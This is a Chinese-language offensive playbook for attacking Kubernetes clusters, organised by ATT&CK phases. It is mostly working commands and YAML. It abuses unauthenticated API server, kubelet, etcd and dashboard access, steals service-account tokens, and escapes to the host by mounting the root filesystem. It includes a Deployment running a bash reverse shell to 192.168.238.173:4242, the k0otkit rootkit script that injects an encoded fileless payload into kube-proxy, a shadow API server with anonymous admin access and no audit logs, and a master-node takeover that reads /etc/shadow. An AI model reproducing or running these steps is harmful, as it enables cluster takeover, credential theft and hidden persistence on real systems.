🐺Kubernetes ATT&CK

识别容器

首先是Docker再判断是否为K8s

/run/secrets/kubernetes.io/serviceaccount文件是为Pod中的进程和外部用户提供身份信息

df -h
Filesystem               Size  Used Avail Use% Mounted on
overlay                   50G  3.6G   47G   8% /
tmpfs                     64M     0   64M   0% /dev
tmpfs                    1.9G     0  1.9G   0% /sys/fs/cgroup
/dev/mapper/centos-root   50G  3.6G   47G   8% /etc/hosts
shm                       64M     0   64M   0% /dev/shm
tmpfs            1.9G   12K  1.9G   1% /run/secrets/kubernetes.io/serviceaccount
tmpfs                    1.9G     0  1.9G   0% /proc/acpi
tmpfs                    1.9G     0  1.9G   0% /proc/scsi
tmpfs                    1.9G     0  1.9G   0% /sys/firmware
ls -l /run/secrets/kubernetes.io/serviceaccount/
total 0
lrwxrwxrwx 1 root root 13 Sep 17 01:17 ca.crt -> ..data/ca.crt
lrwxrwxrwx 1 root root 16 Sep 17 01:17 namespace -> ..data/namespace
lrwxrwxrwx 1 root root 12 Sep 17 01:17 token -> ..data/token

主要包含了三个内容

  • namespace指定了pod所在的namespace

  • CA用于验证apiserver的证书

  • token用作身份验证

env环境变量

root@privileged-container:~# env
KUBERNETES_SERVICE_PORT_HTTPS=443
KUBERNETES_SERVICE_PORT=443
HOSTNAME=privileged-container
DVWA_WEB_SERVICE_PORT=8080
DVWA_WEB_SERVICE_HOST=10.97.153.211
DVWA_WEB_SERVICE_PORT_8080=8080

初始访问

容器内应用漏洞

常用Web应用,由K8s编排Docker部署的Web应用,存在SQL注入、命令执行等,获取到Webshell权限,这时候就拿到了Pod节点权限,通过Pod节点逃逸、横向渗透。

护网中常见的是Shiro拿到权限之后是由K8s部署的,在无法逃逸的情况下,利用Pod节点作为入口点,对内网横向渗透获取其它机器权限。

API Server未授权访问

API Server作为中心组件,通常使用kubectl来访问apiserver,也可以通过Kubernetes各个语言的client库来访问kube-apiserver 同时提供 https(默认监听在 6443 端口)和 http API(默认监听在 127.0.0.1 的 8080 端口)访问。

如运维人员配置不当,将默认监听127.0.0.1更改为0.0.0.0,或者添加了--enable-skip-login选项,将会导致未授权访问。

由于鉴权配置不当,将"system:anonymous"用户绑定到"cluster-admin"用户组,从而使6443端口允许匿名用户以管理员权限向集群内部下发指令。

可通过命令查看:

kubectl get clusterrolebindings -o yaml 

配置有未授权

kubectl create clusterrolebinding system:anonymous --clusterrole=cluster-admin   --user=system:anonymous

利用链:

可以通过cdk中的kcurl模块进行利用

查看Pods -> 创建特权容器 -> 执行命令 -> 逃逸完成。

#查看Pod
https://192.168.250.28:6443/api/v1/namespaces/default/pods?limit=500
#创建特权容器
https://192.168.250.28:6443/api/v1/namespaces/default/pods/test-4444
 
POST:
{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"test-3333\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"name\":\"test-3333\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"host\"}]}}\n"},"name":"test-3333","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","name":"test-3333","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"host"}]}}
#执行命令
https://192.168.250.28:6443/api/v1/namespaces/default/pods/test-3333/exec?stdout=1&stderr=1&tty=true&command=whoami

YAML描述文件

apiVersion: v1 #创建该对象所使用的Kubernetes API版本
kind: Pod #对象类型为Pod,可以是Deployment、DaemonSet等
metadata: #识别对象唯一性数据,名称、namespace
  name: test-444 #Pod名称
spec: #Pod规格
  containers:
  - name: test-444 #容器名称
    image: nginx:1.14.2 #镜像
    volumeMounts: #卷
    - name: host
      mountPath: /host #将宿主机的根目录挂载到/host目录下
  volumes:
  - name: host
    hostPath:
      path: /
      type: Directory

提示!

执行


https://192.168.250.28:6443/api/v1/namespaces/default/pods/test-4444/exec?stdout=1&stderr=1&tty=true&command=whoami

{
  "kind": "Status",
  "apiVersion": "v1",
  "metadata": {
    
  },
  "status": "Failure",
  "message": "Upgrade request required",
  "reason": "BadRequest",
  "code": 400
}

问题原因:

curl/postman不支持从http升级到websocket因此错误

wscat -n -c
'https://192.168.250.28:6443/api/v1/namespaces/default/pods/test-3333/exec?stdout=1&stderr=1&tty=true&command=whoami'

kubelet未授权访问

每个Node节点上都运行一个 Kubelet 服务进程,默认监听 10250 端口,接收并执行 Master 发来的指令,管理 Pod 及 Pod 中的容器。在缺少对TLS身份验证,而在一些默认配置中启用了,--anonymous-auth 默认为true允许匿名身份访问API。

案例:

Kubernetes集群被入侵

kubernetes集群遭挖矿木马突袭

修改未授权选项:

cp /var/lib/kubelet/config.yaml /var/lib/kubelet/config.yaml.bak
vim /var/lib/kubelet/config.yaml
anonymous: true
mode: AlwaysAllow

攻击方式:

curl -sk https://192.168.238.173:10250/runningpods/ |python -m json.tool
 
curl -k -XPOST "https://192.168.238.173:10250/run/kube-system/node-local-dns-zhrdn/node-local" -d "cmd=whoami"

新版的k8s认证方式authorization mode默认为webhook,需要 Kubelet 通过 Api Server 进行授权。这样只是将authentication的anonymous改为true也无法利用

利用工具:

kubeletctl

Examples:
    // List all pods from kubelet
    kubeletctl pods --server 123.123.123.123
 
    // List all pods from kubelet with token
    kubeletctl pods --token <JWT_token> --server 123.123.123.123
 
    // List all pods from kubelet with token file
    kubeletctl pods --token-file /var/run/secrets/kubernetes.io/serviceaccount/token --server 123.123.123.123
 
    // Searching for service account token in each accessible container
    kubeletctl scan token --server 123.123.123.123
 
    // Searching for pods/containers vulnerable to RCE
    kubeletctl scan rce --server 123.123.123.123
 
    // Run "ls /" command on pod my-nginx-pod/nginx in thedefault namespace
    kubeletctl run "ls /" --namespace default --pod my-nginx-pod --container nginx --server 123.123.123.123
 
    // Run "ls /" command on all existing pods in a node
    kubeletctl.exe run "ls /" --all-pods --server 123.123.123.123
 
    // With certificates
    kubeletctl.exe pods -s <node_ip> --cacert C:\Users\myuser\certs\ca.crt --cert C:\Users\myuser\certs\kubelet-client-current.pem --key C:\Users\myuser\certs\kubelet-client-current.pem

etcd获取敏感信息

2379(用于客户端与ectd通信)在默认配置当中是可以直接访问获取些敏感信息。

本地127.1可免认证访问,其他地址要带--endpoint参数和cert进行认证。

通过某搜索引擎:

#列出该目录所有节点的信息
http://114.xxx.xxx.155:2379/v2/keys
#添加上recursive=true参数,就会递归地列出所有的值
http://36..xxx.xxx.18:2379/v2/keys/?recursive=true

通过命令方式访问

#检查是否正常连接
etcdctl endpoint health
 
#读取service account token
etcdctl get / --prefix --keys-only | grep /secrets/kube-system/clusterrole
 
#通过token认证访问API-Server,接管集群
kubectl --insecure-skip-tls-verify -s https://127.0.0.1:6443/ --token="[ey...]" -n kube-system get pods
 
#带cert访问etcd
etcdctl --insecure-skip-tls-verify --insecure-transport=true --endpoints=https://172.16.0.112:2379 --cacert=ca.pem --key=etcd-client-key.pem --cert=etcd-client.pem endpoint health

Dashboard面板暴露

由于鉴权配置不当如添加了--enable-skip-login选项,从而使Dashboard允许匿名用户以管理员权限向集群内部下发指令。

kubectl get pod -n kube-system | grep dashboard
 
kubectl get svc -n kube-system|grep dashboard
 
kubectl describe -n kube-system secrets admin-user

之后进入到终端,进入到/host通过chroot进行切换bash

K8s configfile 泄露

K8s configfile作为K8s集群的管理凭证,其中包含有关K8s集群的详细信息(API Server、登录凭证)。

K8s本身并不维护这类帐户信息,它不会存储到API Server上,仅用于检测用户是否有权限执行所请求的操作。

如办公网机器被入侵、运维电脑存有并且能够访问得到API Server就能够直接接管K8s。

用户凭证保存在kubeconfig 文件中,而kubectl执行命令时会通过以下顺序来找到 kubeconfig 文件:

  • 如果提供了--kubeconfig参数,就使用提供的 kubeconfig 文件。

  • 如果没有提供--kubeconfig 参数,但设置了环境变量 $KUBECONFIG,则使用该环境变量提供的 kubeconfig 文件。

  • 如果以上两种情况都没有,kubectl 就使用默认的 kubeconfig 文件 $HOME/.kube/config。

K8s有两种用户类型:

  • User Account

  • Service Account 简称SA

完整利用流程:

K8s configfile --> 创建后门Pod/挂载主机路径 --> 通过Kubectl进入容器 --> 利用挂载目录逃逸。

User Account

#Linux安装kubectl
curl -LO "https://dl.k8s.io/release/$(curl -L -s
https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
sudo install -o root -g root -m 0755 kubectl /usr/local/bin/kubectl
#内容放入config、或指定选项,需要修改Server地址
kubectl --kubeconfig k8s.yaml
#获取已接取的镜像
kubectl get pods --all-namespaces --insecure-skip-tls-verify=true -o jsonpath="{..image}" |tr -s '[[:space:]]' '\n' |sort |uniq -c
#创建Pod pod.yaml,将宿主机根目录挂载host文件
apiVersion: v1
kind: Pod
metadata:
  name: test-444
spec:
  containers:
  - name: test-444
    image: nginx:1.14.2
    volumeMounts:
    - name: host
      mountPath: /host
  volumes:
  - name: host
    hostPath:
      path: /
      type: Directory
#在default命名空间中创建pod
kubectl apply -f pod.yaml -n default
 
#进入容器中
kubectl exec -it test-444 bash -n default
 
#切换bash,逃逸成功
cd /host
chroot ./ bash

Service Account

K8s集群创建的Pod中,容器内部默认携带K8s Service Account的认证凭据(/run/secrets/kubernetes.io/serviceaccount/token),CDK将利用该凭据尝试认证K8s api-server服务器并访问高权限接口,如果执行成功意味着该账号拥有高权限,您可以直接利用Service Account管理K8s集群。

k8s集群部署的时候默认会在每个pod容器中挂载token文件到

/run/secrets/kubernetes.io/serviceaccount/token

#Linux安装kubectl
curl -LO "https://dl.k8s.io/release/$(curl -L -s
https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
sudo install -o root -g root -m 0755 kubectl /usr/local/bin/kubectl

获取token文件内容,并写入如下格式:
apiVersion: v1
clusters:
- cluster:
    insecure-skip-tls-verify: true
    server: https://192.168.238.129:6443
  name: cluster-name
contexts:
- context:
    cluster: cluster-name
    namespace: default
    user: admin
  name: admin
current-context: admin
kind: Config
preferences: {}
users:
- name: admin
  user:
    token: eyJhbGciOiJSUzI1NiIsImtpZCI6IjhGYlREWldiRHFsamVrNmpGdTRzR1ZVa251eHBGWV9zaE5xxxxOrmcZuSIICPW-ydtWco0D4QmwhXvC-pdVGNBgX98GVgxjOBNJL32P2azjdyMBOtA
kubectl --kubeconfig k8s.yaml version --insecure-skip-tls-verify=true
#权限不够会提示:
Error from server (Forbidden): nodes is forbidden: User "system:serviceaccount:default:default" cannot list resource "nodes" in API group "" at the cluster scope

在Kubernetes中,授权有ABAC(基于属性的访问控制)、RBAC(基于角色的访问控制)、Webhook、Node、AlwaysDeny(一直拒绝)和AlwaysAllow(一直允许)这6种模式。从1.6版本起,Kubernetes 默认启用RBAC访问控制策略。从1.8开始,RBAC已作为稳定的功能。

#获取拉取过的images
kubectl get pods --all-namespaces --insecure-skip-tls-verify=true -o jsonpath="{..image}" |tr -s '[[:space:]]' '\n' |sort |uniq -c
#找到可用的镜像后
#将宿主机的根目录挂载到了我们pod中的 /host目录
apiVersion: v1
kind: Pod
metadata:
  name: test-444
spec:
  containers:
  - name: test-444
    image: 100.125.4.222:20202/hwofficial/coredns:1.15.6
    volumeMounts:
    - name: host
      mountPath: /host
  volumes:
  - name: host
    hostPath:
      path: /
      type: Directory
      
#创建该pod
kubectl --kubeconfig k8s.yaml apply -f pod.yaml -n default \
--insecure-skip-tls-verify=true
 
#进入容器
kubectl --kubeconfig k8s.yaml exec -it test-444 bash -n default -
-insecure-skip-tls-verify=true

BASH利用方式

#指向内部 API 服务器主机名
export APISERVER=https://${KUBERNETES_SERVICE_HOST}
 
#设置 ServiceAccount 令牌的路径
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
 
#读取 pods 命名空间并将其设置为变量。
export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
 
#读取 ServiceAccount 不记名令牌
export TOKEN=$(cat ${SERVICEACCOUNT}/token)
 
# CACERT 路径
export CACERT=${SERVICEACCOUNT}/ca.crt
 
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET
${APISERVER}/api
 
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET
${APISERVER}/api/v1/secrets
 
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET
${APISERVER}/api/v1/namespaces/${NAMESPACE}/secrets
 
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET
${APISERVER}/api/v1/namespaces/${NAMESPACE}/pods
 
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET
${APISERVER}/api/v1/namespaces/${NAMESPACE}/secrets | grep k8svaultapikey
 
执行以下命令查看当前集群中所有Namespaces。
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET
${APISERVER}/api/v1/namespaces
 
#写入yaml
cat > nginx-pod.yaml << EOF
apiVersion: v1
kind: Pod
metadata:
  name: test-444
spec:
  containers:
  - name: test-444
    image: nginx:1.14.2
    volumeMounts:
    - name: host
      mountPath: /host
  volumes:
  - name: host
    hostPath:
      path: /
      type: Directory
EOF
 
创建pod
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -k
${APISERVER}/api/v1/namespaces/default/pods -X POST --header 'content-type: application/yaml' --data-binary @nginx-pod.yaml
 
查看信息
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET
${APISERVER}/api/v1/namespaces/default/pods/nginx
 
#执行命令
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET
${APISERVER}/api/v1/namespace/default/pods/test-444/exec?command=ls&command=-l
or
api/v1/namespaces/default/pods/nginx-deployment-66b6c48dd5-4djlm/exec?command=ls&command=-l&container=nginx&stdin=true&stdout=true&tty=true

使用恶意镜像

使用恶意的镜像会危害到集群,例如在Docker Hub拉取不受信任的镜像,可能存在后门以及应用程序版本较低产生的漏洞。

私有镜像仓库

Harbor是一个用于存储和分发Docker镜像的企业级Registry服务器,由VMware开源。配置文件默认密码为:harbor_admin_password: Harbor12345

Harbor 1.8.3前版前本存在: CVE-2019-1609-任意管理员注册

危害:攻击者上传构造好的后门镜像,获取镜像中源代码。

执行

创建后门容器

比如创建:DS、RS、Deployments

最常见的是反弹Shell

#Linux安装kubectl
curl -LO "https://dl.k8s.io/release/$(curl -L -s
https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
sudo install -o root -g root -m 0755 kubectl /usr/local/bin/kubectl
 
#内容放入config、或指定选项,需要修改Server地址
kubectl --kubeconfig k8s.yaml
 
#获取已接取的镜像
kubectl get pods --all-namespaces --insecure-skip-tls-verify=true -o
jsonpath="{..image}" |tr -s '[[:space:]]' '\n' |sort |uniq -c
 
#创建Pod pod.yaml,将宿主机根目录挂载host文件
apiVersion: v1
kind: Pod
metadata:
  name: test-444
spec:
  containers:
  - name: test-444
    image: nginx:1.14.2
    volumeMounts:
    - name: host
      mountPath: /host
  volumes:
  - name: host
    hostPath:
      path: /
      type: Directory
      
#在default命名空间中创建pod
kubectl apply -f pod.yaml -n default
 
#进入容器中
kubectl exec -it test-444 bash -n default
 
#切换bash,逃逸成功
cd /host
chroot ./ bash
  • 利用Service Account

  • CURL方式请求

  • kubectl方式请求

持久化

挂载主机路径

#创建Pod pod.yaml,将宿主机根目录挂载host文件
apiVersion: v1
kind: Pod
metadata:
  name: test-444
spec:
  containers:
  - name: test-444
    image: nginx:1.14.2
    volumeMounts:
    - name: host
      mountPath: /host
  volumes:
  - name: host
    hostPath:
      path: /
      type: Directory
      
#在default命名空间中创建pod
kubectl apply -f pod.yaml -n default

Deployments

通过创建容器启用DaemonSets、Deployments,使子容器被清理掉了会恢复

  • ReplicationController(RC)

    • ReplicationController 确保在任何时候都有特定数量的 Pod 副本处于运行状态。

  • Replication Set(RS)

    • Replication Set简称RS,官方已经推荐我们使用RS和Deployment来代替RC了,实际上RS和RC的功能基本一致,目前唯一的一个区别就是RC只支持基于等式的selector

  • Deployment

    • 主要职责和RC一样的都是保证Pod的数量和健康,二者大部分功能都是完全一致的,我们可以看成是一个升级版的RC控制器

官方组件kube-dns、kube-proxy也都是使用的Deployment来管理

这里使用Deployments来部署后门

#dep.yaml
apiVersion: apps/v1
kind: Deployment
metadata:
  name: nginx-deploy
  labels:
    k8s-app: nginx-demo
spec:
  replicas: 3
  selector:
    matchLabels:
      app: nginx
  template:
    metadata:
      labels:
        app: nginx
    spec:
      hostNetwork: true
      hostPID: true
      containers:
      - name: nginx
        image: nginx:1.7.9
        imagePullPolicy: IfNotPresent
        command: ["bash"]
        args: ["-c", "bash -i >& /dev/tcp/192.168.238.173/4242 0>&1"]
        securityContext:
          privileged: true
        volumeMounts:
        - mountPath: /host
          name: host-root
      volumes:
      - name: host-root
        hostPath:
          path: /
          type: Directory
 
#创建
kubectl create -f dep.yaml

Shadow API Server

部署一个shadow apiserver,该apiserver具有和集群中现存的apiserver一致的功能,同时开启了全部K8s管理权限,接受匿名请求且不保存审计日志。便于攻击者无痕迹的管理整个集群以及下发后续渗透行动。

利用链:

1. 拥有master node权限

2. 在攻入的pod内部查找API-server访问地址和凭据

3. 连接apiserver判断权限

4. 获取apiserver原有配置

5. 修改配置

6. 重新部署shadow apiserver

配置文件:

/etc/systemd/system/kube-apiserver-test.service
#一键部署Shadow apiserver
./cdk run k8s-shadow-apiserver default
 
#使用到的选项
--allow-privileged
--insecure-port=9443
--insecure-bind-address=0.0.0.0
--secure-port=9444
--anonymous-auth=true
--authorization-mode=AlwaysAllow
 
#kcurl访问
./cdk kcurl anonymous get https://192.168.1.44:9443/api/v1/secrets

Rootkit

https://github.com/Metarget/k0otkit

  • DaemonSet和Secret资源(快速持续反弹、资源分离)

    • 利用DaemonSet资源持续反弹,并且创建特权容器。

    • 利用容器名称相似度伪装

    • 利用Meterpreter替代反弹Shell

    • 将Payload隐藏在Secret资源中

  • kube-proxy镜像(就地取材)

  • 动态容器注入(高隐蔽性)

    • 查找DaemonSet容器,在已启动的容器中添加后门

Meterpreter(流量加密)

  • 无文件攻击(高隐蔽性)

    • 利用memfd_create无文件攻击

#生成k0otkit
./pre_exp.sh
 
#监听
./handle_multi_reverse_shell.sh
 
#k0otkit.sh的内容复制到master
volume_name=cache
mount_path=/var/kube-proxy-cache
ctr_name=kube-proxy-cache
binary_file=/usr/local/bin/kube-proxy-cache
payload_name=cache
secret_name=proxy-cache
secret_data_name=content
 
ctr_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ containers:/{print NR}')
volume_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ volumes:/{print NR}')
image=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | grep " image:" | awk '{print $2}')
 
# create payload secret
cat << EOF | kubectl --kubeconfig /root/.kube/config apply -f -
apiVersion: v1
kind: Secret
metadata:
  name: $secret_name
  namespace: kube-system
type: Opaque
data:
  $secret_data_name: N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTAwMDAwNzAwMDAwMDAwMTAwMDAwNmEwYTVlMzFkYmY3ZTM1MzQzNTM2YTAyYjA2Njg5ZTFjZDgwOTc1YjY4YzBhOGVlOTI2ODAyMDAxMTY3ODllMTZhNjY1ODUwNTE1Nzg5ZTE0M2NkODA4NWMwNzkxOTRlNzQzZDY4YTIwMDAwMDA1ODZhMDA2YTA1ODllMzMxYzljZDgwODVjMDc5YmRlYjI3YjIwN2I5MDAxMDAwMDA4OWUzYzFlYjBjYzFlMzBjYjA3ZGNkODA4NWMwNzgxMDViODllMTk5YjI2YWIwMDNjZDgwODVjMDc4MDJmZmUxYjgwMTAwMDAwMGJiMDEwMDAwMDBjZDgw
EOF
 
# assume that ctr_line_num < volume_line_num
# otherwise you should switch the two sed commands below
 
# inject malicious container into kube-proxy pod
kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml \
  | sed "$volume_line_num a\ \ \ \ \ \ - name: $volume_name\n        hostPath:\n          path: /\n          type: Directory\n" \
  | sed "$ctr_line_num a\ \ \ \ \ \ - name: $ctr_name\n        image: $image\n        imagePullPolicy: IfNotPresent\n        command: [\"sh\"]\n        args: [\"-c\", \"echo \$$payload_name | perl -e 'my \$n=qq(); my \$fd=syscall(319, \$n, 1); open(\$FH, qq(>&=).\$fd); select((select(\$FH), \$|=1)[0]); print \$FH pack q/H*/, <STDIN>; my \$pid = fork(); if (0 != \$pid) { wait }; if (0 == \$pid){system(qq(/proc/\$\$\$\$/fd/\$fd))}'\"]\n        env:\n          - name: $payload_name\n            valueFrom:\n              secretKeyRef:\n                name: $secret_name\n                key: $secret_data_name\n        securityContext:\n          privileged: true\n        volumeMounts:\n        - mountPath: $mount_path\n          name: $volume_name" \
  | kubectl --kubeconfig /root/.kube/config replace -f -

cronjob持久化

Job负责处理任务,即仅执行一次的任务

CronJob则就是在Job上加上了时间调度。

kubectl create -f https://k8s.io/examples/application/job/cronjob.yaml
apiVersion: batch/v1
kind: CronJob
metadata:
  name: hello
spec:
  schedule: "*/1 * * * *"
  jobTemplate:
    spec:
      template:
        spec:
          containers:
          - name: hello
            image: busybox
            imagePullPolicy: IfNotPresent
            command:
            - /bin/sh
            - -c
            - #反弹Shell
          restartPolicy: OnFailure

权限提升

  • 特权容器逃逸

  • Docker Socket

  • Docker漏洞

  • 内核漏洞

  • Linux Capabilities逃逸

  • Procfs目录挂载逃逸

  • Docker Daemon 未授权

  • K8s漏洞提权

  • K8s Rolebinding添加用户权限(Cluster-admin binding)

  • 访问集群外资源(Access cloud resources)

探测

  • 内网扫描

  • K8s常用端口探测

  • 集群内部网络

  • Cluster内网扫描

集群内网扫描

Kubernetes的网络中存在4种主要类型的通信

  • 同一Pod内的容器间通信

  • 各Pod彼此间通信

  • Pod与Service间的通信

  • 集群外部的流量与Service间的通信。

所以和常规内网渗透无区别,nmap、masscan等扫描

10/172/192

K8s常用端口探测

集群内部网络

  • Flannel网络插件默认使用10.244.0.0/16网络

  • Calico默认使用192.168.0.0/16网络

整体攻击思路

  • 拿到容器

  • 逃逸成功

    • 获取Kubeconfig、执行kubectl控制集群

    • 逃逸失败

    • Serviceaccount

    • 通过curl、kubectl创建特权容器

    • 逃逸成功,进行控制

  • 探测网络

    • 扫描网段发现控制面板,SSH服务等

    • API Server

    • Etcd等

    • 未授权

  • 搞其它的Pod、容器

  • 查找容器中serviceaccount等进行逃逸

横向移动

  • 容器逃逸

  • 通过Service Account访问K8s API

  • Dashboard面板

  • ConfigMap

  • 污点(Taint)横向渗透

  • 第三方组件风险

  • DNS投毒(CoreDNS poisoning)

  • ARP投毒和IP欺骗(ARP poisoning and IP spoofing)

ConfigMap

提供了向容器中注入配置信息的能力,不仅可以用来保存单个属性,也可以用来保存整个配置文件

一般情况下ConfigMap是用来存储一些非安全的配置信息

#查看configmap列表
kubectl get configmap
 
#查看详细信息
kubectl describe configmaps cm-data
Name:         cm-data
Namespace:    default
Labels:       <none>
Annotations:  <none>
 
Data
====
redis.conf:
----
host=127.0.0.1
port=6379
 
mysql.conf:
----
host=127.0.0.1
port=3306
 
#查看键值
kubectl get configmaps cm-data -o yaml

污点(Taint)横向渗透

污点是K8s高级调度的特性,用于限制哪些Pod可以被调度到某一个节点。

一般主节点包含一个污点,这个污点是阻止Pod调度到主节点上面,除非有Pod能容忍这个污点。

而通常容忍这个污点的Pod都是系统级别的Pod,例如kube-system

控制Pod创建时候的污点来向集群内的节点进行喷射创建。

#Node中查看节点信息
[root@node1 ~]# kubectl get nodes
NAME              STATUS                     ROLES    AGE   VERSION
192.168.238.129   Ready,SchedulingDisabled   master   30d   v1.21.0
192.168.238.130   Ready,SchedulingDisabled   master   30d   v1.21.0
192.168.238.131   Ready                      node     30d   v1.21.0
192.168.238.132   Ready                      node     30d   v1.21.0
#确认Master节点的容忍度
[root@node1 ~]# kubectl describe nodes 192.168.238.130
Name:               192.168.238.130
Roles:              master
Labels:             beta.kubernetes.io/arch=amd64
                    beta.kubernetes.io/os=linux
                    kubernetes.io/arch=amd64
                    kubernetes.io/hostname=192.168.238.130
                    kubernetes.io/os=linux
                    kubernetes.io/role=master
Annotations:        flannel.alpha.coreos.com/backend-data: {"VtepMAC":"66:3b:20:6a:eb:ff"}
                    flannel.alpha.coreos.com/backend-type: vxlan
                    flannel.alpha.coreos.com/kube-subnet-manager: true
                    flannel.alpha.coreos.com/public-ip: 192.168.238.130
                    node.alpha.kubernetes.io/ttl: 0
                    volumes.kubernetes.io/controller-managed-attach-detach: true
CreationTimestamp:  Tue, 14 Sep 2021 17:41:30 +0800
Taints:             node.kubernetes.io/unschedulable:NoSchedule
#创建带有容忍参数的Pod
kubectl create -f control-master.yaml
 
#control-master.yaml内容:
apiVersion: v1
kind: Pod
metadata:
  name: control-master-15
spec:
  tolerations:
    - key: node.kubernetes.io/unschedulable
      operator: Exists
      effect: NoSchedule
  containers:
    - name: control-master-15
      image: ubuntu:18.04
      command: ["/bin/sleep", "3650d"]
      volumeMounts:
      - name: master
        mountPath: /master
  volumes:
  - name: master
    hostPath:
      path: /
      type: Directory

#获得Master控制端
kubectl exec control-master-15 -it bash
chroot /master bash
cat /etc/shadow

第三方组件风险

  • 供应层

    • 自动化和配置:Chef、Puppet、Ansible、Terraform、KubeEdge

    • 镜像仓库:Docker Hub、Harbor、artifactory

  • 运行时层

    • 容器运行时:Containerd、CRI-O、Kata、gVisor、Firecracker

    • 云原生网络:Calico、Weave Net、Flannel、Antrea、NSX-T

  • 编排管理层

    • 编排和调度:Kubernetes、Docker Swarm、Mesos

    • 协调和服务发现:CoreDNS、Etcd、Zookeeper、Eureka

    • API网关:Kong、Mulesoft、Ambassador

    • 服务网格:lstio、Linkerd、Consul

  • 应用程序定义和开发层

    • 数据库:Postgres、MySQL、Redis

    • 数据流和消息传递:Spark、Kafka、RabbitMQ、Nats

    • 应用程序定义和镜像构建:Helm、Buildpacks、Tilt、Okteto

    • 持续集成和持续交付:Argo、Flagger、Spinnaker、Jenkins

  • 平台层

    • 其它k8s发行版:AgorKube、Canonical、OpenShift

    • 托管Kubernetes:Azure、Alibaba Cloud

  • 监控监测

    • 监控:Prometheus、Cortex、Thanos、Grafana

Last updated